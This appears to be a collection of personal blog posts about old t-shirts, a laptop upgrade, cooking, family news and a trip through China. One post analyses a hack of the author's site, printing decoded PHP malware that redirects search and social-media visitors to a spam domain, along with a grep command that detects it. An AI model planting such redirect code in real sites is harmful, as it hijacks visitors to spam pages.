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Well, it has been such a nice a wonderful weekend, so during this weekend, I decided to do some cleaning and get rid of some old stuff that’s been following me around for sometimes. So when I open up this one suit case, it was full of old tee shirts. I will probably never wear them again, but I hated the idea of throwing them again. They are my history, they are my past… they mean so much to me.
My logical and not emotional wife asked me a simple question, “when was the last time you’ve wore those?”
My response… “uh… 1995…”. Right, that wasn’t too long ago, but what 1995 was 17 years ago!!!!
Yeah… Vicky is right … I will probably never wear them ever again and they are just taking up space… but they are still so special to me… So I decided to digitize them.
So here they are… let me know what you think.
1994-1995 AP Chemistry
This shirt is my high school senior AP chemistry shirt… I am sure all my classmates are all rich and famous now … maybe I should keep this shirt
Back
Front
1995 Auburn High School Science Olympiad shirt
This shirt was for the 1995 AHS Science Olympiad Team and yes we made the nationals that year!!! This shirt is special because I created this shirt with my friend Ming Yan. It is also special because we printed all these shirts in the Technology Student Association club in AHS. Note that this was a 4 color screen print, however the back design has more than 4 colors…. pretty cool right?
Additional information about the design, the fonts are of course Star Trek DS9 Fonts and the idea for the back came from the Sliders TV show opening.
Back
Front
Auburn High School Science Olympiad Team Shirt
Very late 80 and early 90 style and look.
Catholic Youth Organization
This shirt was from our teen youth group in Auburn St. Michael Catholic Church. Once again Vintage 1995.
The following shirts are from college… few years laters
Catholic Student Organization Pan Y Vino XLII and XLIII Shirt
Pan Y Vino is a biannual retreat for the CSO. These shirts were from the two time that I was part of the host team. Those were special times.
Catholic Student Organization
Catholic Student Organization
These are CSO @ AU shirts
Superball 1995!!!
One year before the 1996 summer olympics in Atlanta, many women softball team came to Columbus, GA for a pre Olympics fast pitch softball competition. The is the shirt made for that event, for cheering on the Republic of China team!!!
As part of the spring cleaning, this past weekend, I wanted to clean up my web browsing and reduce the number of annoying ads that I see in every website I visit. This include all those annoying ads on youtube and other similar sites.
This is what I found!!!
Currently my laptop is a late-2008 MacBook Pro. It is probably the best laptop that I’ve ever owned. It is definitively the only laptop that I have ever used for more than 1.5 years. This laptop is currently working on it’s 4th year. From the original specs this model of MacBook Pro only suppose to support max of 4 Gigs. Some people before were able to get 6 gigs on it, however, after Lion everything changed. With a firmware upgrade, my late 2008 MacBook Pro supports 8 Gigabyte of RAM!!!! Check out this article for more details.
So with my new found knowledge, I quickly purchased my upgrades from Newegg. This is what I got.
First, Memory… for $40 bucks I was able to double my memory. GREAT DEAL!!!!
Then I decided… maybe I should go ahead and upgrade my HD. I thought about a SSD, but I can only afford a 120GB SSD, which is smaller than my current drive size. The SSD will be must faster, but much smaller. I then saw the Hybrid drives. It got mix reviews, but the price is right, so why not. (note: right after I bought mine, newegg put this drive on promotion, it is now only $89.99!!! DOH for me!!!)
So with my removal of my 250 GB drive, I though it would be nice to have an extra external drive, so I got this case for $7.99. Yeah… pretty cheap huh!! The best part is I can use this new USB case to transfer all my data to my new drive so I won’t miss a beat!!!!
So with very little money, I’ve refreshed my laptop and hopefully I can get another year or two out of it!!! That will be excellent, if I can do that!!!
So today, I noticed my another hack that’s been installed on my machine. I have to say ever since my move to GoDaddy.com, my site has been hacked over and over again. This is number #3. The reason why I posted about this one is because it is actually pretty interesting and finding what was done was like a mystery. So let me tell you a quick story.
So this evening I was trying to figure out how to get my project 365 page to post automatically to my website. This is when I first noticed a slowdown and issue when I am using the debugger from Facebook. At first I thought it was the wordpress plug in, but it occasionally works. I got everything ready, and posted my first auto post and strange things started to happen.
As I stated, everything looked normal at first until I click on the links provided by Facebook. When I click on the Facebook link to my website, it goes to some spam site. At first I thought it was the .htaccess hack that was I received a while back, but that is not the case. Then I thought maybe it was a DNS hack. That was also not the case, finally, I found the following in all my .php files on my web server.
It uses eval command and nested with base64_decode the following block of code.
it is quite clever. It is encoded and people may easily over look it, but when you decode the text this is what you get
error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (!stristr($uag,”MSIE 7.0″)){
if (stristr($referer,”yahoo”) or stristr($referer,”bing”) or stristr($referer,”rambler”) or stristr($referer,”gogo”) or stristr($referer,”live.com”)or stristr($referer,”aport”) or stristr($referer,”nigma”) or stristr($referer,”webalta”) or stristr($referer,”begun.ru”) or stristr($referer,”stumbleupon.com”) or stristr($referer,”bit.ly”) or stristr($referer,”tinyurl.com”) or preg_match(“/yandex\.ru\/yandsearch\?(.*?)\&lr\=/”,$referer) or preg_match (“/google\.(.*?)\/url\?sa/”,$referer) or stristr($referer,”myspace.com”) or stristr($referer,”facebook.com”) or stristr($referer,”aol.com”)) {
if (!stristr($referer,”cache”) or !stristr($referer,”inurl”)){
header(“Location: http://minkof.sellclassics.com/”);
exit();
}
}
}
}
}
Tricky huh?
So well… solution? remove all code in all .php files and with a little help from “grep” I was able to locate all the bad codes.
grep -H -r ‘eval(base64_decode’ ./
So, Go To Hell You Punk Hackers!!! I hope you guys get busted and become someone’s bitch in prison.
I recently finished a great book by https://twitter.com/#!/michiokaku. He is a theoretical physicist that writes books about technology and about the future. Take a look at his wiki page. Anyways, the book Physics of the Future is very good, I think anyone who loves science and wonders what the future might be like should give it a read. He paints a future not of just pure science fiction prespective, but of a future with advancements based on the current technology and why that future is possible, etc. If you are too lazy to read the actual book…try the audiobook. It is a good way to learn something in your daily commute.
Another good one from Michio Kaku is called the Physics of the Impossible. Great book about if all the science fiction technologies and sciences are actually possible or not.
Check it out:
What is great about this book is that it is so old, from ’84. 1884 that is. It is so old, that this book is pretty much free, almost everywhere.
Today, I found out that my grandmother passed away. She was my last remaining Grandparents. My Grandmother was always the best to me. I was planning a trip back to Taiwan this summer, but now it’s too late. 外婆, I miss you.
Oh, it’s been a while since my last update to my blog. Few things, yesterday was Mardi Gras. It is hard to believe that it is Mardi Gras again and how my life have changes from 4 years ago. Anyways, it was pretty fun hanging out with my buddies at the Tree.
After my first MRI in my life, the doctors determined that it is a moderate knee ligament injury. So I am on down low for the remaining snowboarding season this year. The good news is I probably don’t need any surgery and will recover with time.
Today is another relaxed and cooking weekend. Of course following the tradition of making steam buns on the weekend, this weekend is no different. We made another batch of steam buns this weekend and the results were wonderful. We’ve made alot of improvements from weeks before. We made some pork steam buns today. Check out the pictures below.
So, tonight Vicky decided to try her baking skills and made an Apple Tart. It was amazing, it was hard to believe it was her first time baking it. Check it out.
So yeah… no snowboarding today, but we did cook some beautiful food!!! yum yum!!
So yesterday was a good night, celebrating the Chinese New Year with friends, cooking some Crawfish etouffee, and playing few rounds of poker. The etouffee was extremely popular, it was all gone fairly early. I need to make alot more next time and the poker? Well, lets just say that I did not do too bad.
So Today isn’t too bad as well. Today is a really relaxing day at home made some red bean bao zi. It was ok. Only one batch turned out ok, and the rest looked really bad. It tasted ok, but just looked bad… however, I’ve learned alot and I think I’ve almost got it.
The weather forecast said that today the weather suppose to warm up and snow will turned in to rain. Well… that did not happen. The snow continued. I did not mind at all. Get a chance to work from home and of course enjoying the snow a bit.
This morning, I receive a small box from Apple via FedEx. Inside this small FedEx box is a 6th Generation iPod Nano!!! No I did not order a new Nano, it was a replacement for a first generation iPod Nano from Apple!!! So here is the story, few month ago I saw an blog post about Apple replacing 1st generation iPod Nanos on TUAW. I remember Vicky having an old iPod Nano… so I dug it out of the desk drawers and try to see if it is replaceable with the Apple website. And to my surprise, our iPod Nano’s serial number is with in the range that is being recalled. So few weeks later, I received an prepaid envelope from Apple, I mailed my iPod back to them and today I got it back!!!
And Yes … Apple upgraded to the latest iPod Nano… so now it is an 8 gigabyte 6th Generation iPod Nano!!!!
Actually, it is pretty awesome, the new nano comes with off air radio, and a Nike+ pedometer. Oh I hope Vicky don’t want her Nano back.
Today is another wonderful day. The day started very early making dough for my chinese stuffed buns. With Vicky’s help we were able to make 18 buns. They were wonderful!!!
Check it out!!!
So today is an atypical Sunday, or maybe it is a typical Sunday in 2012. Anyways, today started off with me steaming mantou (饅頭) (Chinese Steamed Buns), then in the evenings making some dumplings, and of course Vicky baked some yellow cake from scratch!!!
Today is my first day returning to work. Oh my gosh I was so jet lagged in the morning. The weather in Seattle today is just wet and nasty, but it is still great to be back in Seattle. So work is still work even in 2012, but I did catch up on my Auburn football tonight. Well, instead of watching the boring Orange bowl. I decided to watch the replay on ESPN3 of the Chick-fil-a bowl (Peach bowl). It was actually a pretty good game, especially in the beginning. I am very glad that Auburn won. What a great way to end 2011. So what’s next? the LSU / Alabama rematch. I can’t wait.
At the end of every year, I look back on the year before and see what I have accomplished. This year is no different. So here are what’s went on last year 2011 !!!
1) I got married. Yep… Min is off the market and not available anymore. I got married on February 5, 2011. It was a lovely wedding and we are very very very happy together. As a matter of fact, in 2011 my little sister also got married plus 4 other close friends.
2) STP – Seattle to Portland bike ride. The 202 miles bike ride from Seattle to Portland. It’s the longest I’ve ever travelled on a bicycle in one day 150 miles and 202 miles in two days.
3) Auburn National Championship — AMAZING in the beginning of the year, Auburn beat Oregon and won the national championship!!!!
This coming year 2012 what are my goals…
1) be more healthy — dang cold and flu and all these other aliments go to heck.
2) be more productive — But for work and for family … enough said.
3) be more attentive to my professional life — maybe get another certification
4) be more time cautious and travel less — most people want to travel more in the year ahead, I want my wife and I to spend more time at home and less time on the road. This past month is one such example of the total craziness.
5) be more money conscious — I am no longer single… I got to start to think long term and long term planning, therefore I got to be thinking more about my future fiances.
I am sure there are more things that should be doing for the new year but I am sure this is a good start!!!
Happy New Year Everyone!!!
Oh and one more thing… check out my new project365 website. It is my 2012 goal to have a photo-a-day blog journal. Check it out!!!
Today, we are traveling to Yuan Yang. Yuan Yang is a very small town in Yunnan province and the only way for us to get there is by bus. I’ve never travelled by bus in china before so this is a new experience. The bus ride to Yuan Yang is around 7 hours long. I did not realized how far Yuan Yang is and I did not realized how rural of a place Yuan Yang is. The ride to Yuan Yang was very interesting. The adventure began at the KunMing bus station.
Vicky and I were in the number 1 and number 2 seat in the big bus. On the way there, we went from the city of KunMing to the outskirts of civilization. On the way we saw all sort of development and lack of development.
As we get closer to Yuan Yang, the road are pretty bad and also we begin to enter mountain roads. I did not realized that Yuan Yang is broken up into two towns. The new town and the old town. The new town is more developed however there are not much to look at in the new town. The old town is less developed and is about a hour drive away in the mountain roads. Once we arrived at Yuan Yang our guide met us at the bus station, we grab our bags and headed toward our hotel. Our hotel is pretty much the only major building in town. It IS the best hotel in town or in the region. The room was clean, but a bit cold. There is a air conditioning unit with heater, but we are not allow to turn it on. The only thing that is there is a small electric pad that is on top of the mattress for you to lay on.
Shortly after our arrival, we drop off our bags and grab our camera, we went out to look for our first sun set. Oh … the reason why we are on this adventure is to take pictures of the beautiful rural southern China. Our guide took us to this secret location for pictures. He said to us, “the road condition is pretty bad, so we will be taking to little car to help us get around”. The little car is a 3 wheeler, similar to the three wheeler in Mr. Bean. The ride there was interesting.
Once we got to our destination, we immediately saw a water buffalo walking by with a farmer. We then walked down a small muddy trail to the terrace rice fields. The view was magnificent!!!
After our photo shoot, we travelled back to town and went to a small local restaurant for dinner. The food was decent and cheap. After dinner, at the town square there was a group of locals line dancing. Pretty neat!!!
So our plan tomorrow is to head toward our next location around 5 AM in the morning for sunrise photo taking. This will be an interesting morning tomorrow. More to come.
Today we travelled from Beijing to Kunming. This is my first time flying Air China and will probably be my last time. The flight was fine, the service was good except for the seat space. I was in a Boeing 757. However the seat spacing was so tight that the 3 hours flight was almost unbearable. I will probably never fly Air China again.
Once we got to Kunming. We got a cab and went to our hotel. After we checked in we went for lunch. I follow my number 1 rule of finding a decent place in an unfamiliar place. That rule is to always eat at a place where there are the most local people. We that said, as soon as we were on the street we found bunch of people carrying a little white lunch container, so we were off to find that food. It did not take long and we ended up in an alley and the food was from a travel agents staff cafeteria, and the place was packed. We bought food there. It was super cheap, and it was pretty good
My first day in Beijing. I am still majorly jet lagged. The air in Beijing is so bad that it did not help at all. Today was a very quite and uneventful day. Since today is Vicky’s birthday, I spend most of my time with her and her folks.
Check out the Amazing lunch we had.
I did go and check out an indoor ski place. I did not ski or snowboard but it was very interesting to see an indoor ski resort.
So it seems like in the last month I’ve spent alot of time in the airport, on an airplane, and just travelling all over the world. So for example, two weeks ago, I was in Playa del Carmen, Mexico. This past Thursday, I was in Princeton, New Jersey having a great time for work. Remember, I am working on Doctor House’s Hospital. Late Friday Night, I returned to Seattle, and Today (Sunday), I am currently in SFO waiting for my flight to Beijing. Yep… very very busy some business and some pleasure. The number of travel is really starting to catch up. So I know I still have alot of Mexico posts, that I have not updated yet, but I assure you they are coming. So let’s talk about my day today so far? My day started off super early. I took a cab from home to SeaTac airport, once checked in, I was able to spend some time at the United lounge. I thought the Delta lounge was bad, well, the united lounge was not any better, everything is very very basic. After an hour or so of waiting, I boarding my flight and headed toward SFO; The view in the morning right after take off was just amazing!!!
Once I’ve got to SFO, everything seems to be pretty routine, I went to check out the United Lounge in SFO as well, did you know there is a business class lounge and a first class lounge? I did not know that until I walked in to the wrong one. I wonder what is in the first class lounge. There was also this nice TV exhibit in the terminal in SFO. Very Interesting.
So this is the first time that I’ve ever take an international business class on a 747. I remember see the stairs going to the second floor of a 747 but I have never been there. This is my first experience of that.
My ticket, 14 is on the 2nd floor of the 747!!!!
Special entrance hall for business class passengers.
The steps up to 747 second floor. It is interesting, that first class is actually in the very tip of the plane on the first floor. I would have thought it would been isolated on 2nd floor, but it is not.
My seat. The video display is huge and the seat actually lay flat, which is pretty nice, but it is like sleeping on a hardwood bench for 6 hours, it is nice and flat but still not very comfortable.
However, once I borded my flight, we were quickly informed that there is a mechanical error and there will be some delay. After one hour, they kicked everyone off the flight, because they needed to “Reboot” the plane. I hope our flight wasn’t running Windows 95 or something similar.
After 2 and half hours later, and some terminal japanese food and another round at the lounge, we finally started to board the flight again. My flight to Beijing was 2.5 hours late.
Once on board, what’s interesting is that UA actually have the flight control communications linked up to their passenger entertainment system, so during take off and landing I was able to listen to the flight control provide directions to our flight. Flight UA 889. The Entertainment system is pretty nice, big screen, lot of movies. Very enjoyable.
This is our in-flight meal. Not too shabby, better than the Delta’s hot TV dinner but not as good as EVA air’s lamb ribs. humm…
So after a long day of flying and 2 movies later, I finally arrived in Beijing. Beijing air is as dirty as ever, I am sure it will take some time to get use to this.
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